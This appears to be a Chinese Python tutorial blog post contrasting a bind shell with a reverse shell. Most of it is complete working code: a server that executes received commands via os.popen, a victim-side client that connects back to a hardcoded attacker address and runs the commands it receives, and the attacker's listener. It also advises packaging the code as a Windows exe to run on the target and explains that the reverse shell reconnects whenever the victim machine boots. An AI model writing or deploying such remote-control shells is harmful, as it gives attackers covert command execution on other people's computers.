python教程:正常shell与反弹shell

#服务器端

import socket

import os

s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.bind((‘0.0.0.0’,1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接

s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量

con,addr=s.accept() #接受一个客户端的连接

#print(con,addr)

for i in range(10):

cmd=con.recv(1024)

print(cmd)

command=cmd.decode()

if command.startswith(“cd”):

os.chdir(command[2:].strip()) #切换路径

result=os.getcwd() #显示路径

else:

result=os.popen(command).read()

if result:

con.send(result.encode())

else:

con.send(b"OK!")

测试:(客户端(win10)、服务端(win7))

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

在这里插入图片描述

2.在win10运行客户端

在这里插入图片描述

反弹shell:

客户端:

#反弹shell,攻击端是服务端,被攻击端是客户端

#正常shell,攻击端是客户端,被攻击端是服务端

#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端

反弹shell,先在win10启用服务端,再在win7启用客户端

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

import socket

import os

import sys

import time

#print(sys.argv)

#hacker=sys.argv[1]

hacker=“192.168.0.144”

port=1234

server=(hacker,port)

s=socket.socket()

s.connect(server)

while 1:

得到被攻击端的所在目录,并发送

dir=os.getcwd()

#print(dir)

s.send(dir.encode())

接收来自攻击端(服务器端)的命令,并进行处理

cmd=s.recv(1024).decode()

对接收的命令做出判断

退出

if cmd==“exit”:

break

elif cmd.startswith(“cd”):

os.chdir(cmd[2:].strip())

result=“切换目录成功!”

else:

result=os.popen(cmd).read()

if not result:

result=“命令执行完毕!”

s.send(result.encode())

time.sleep(1)

s.close()

print(“退出!”)

服务端:

‘’’

遇到问题没人解答?小编创建了一个Python学习交流QQ群:531509025

寻找有志同道合的小伙伴,互帮互助,群里还有不错的视频学习教程和PDF电子书!

‘’’

import socket

import time

server=(“0.0.0.0”,1234)

s=socket.socket()

s.bind(server)

s.listen(5)

con,addr=s.accept()

print(addr,“已经接入!”)

while 1:

#接收来自被攻击端的所在目录

dir=con.recv(1024).decode()

cmd=input(dir+“:”).strip()

con.send(cmd.encode())

if cmd==“exit”:

break

result=con.recv(65365)

print(result.decode())

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值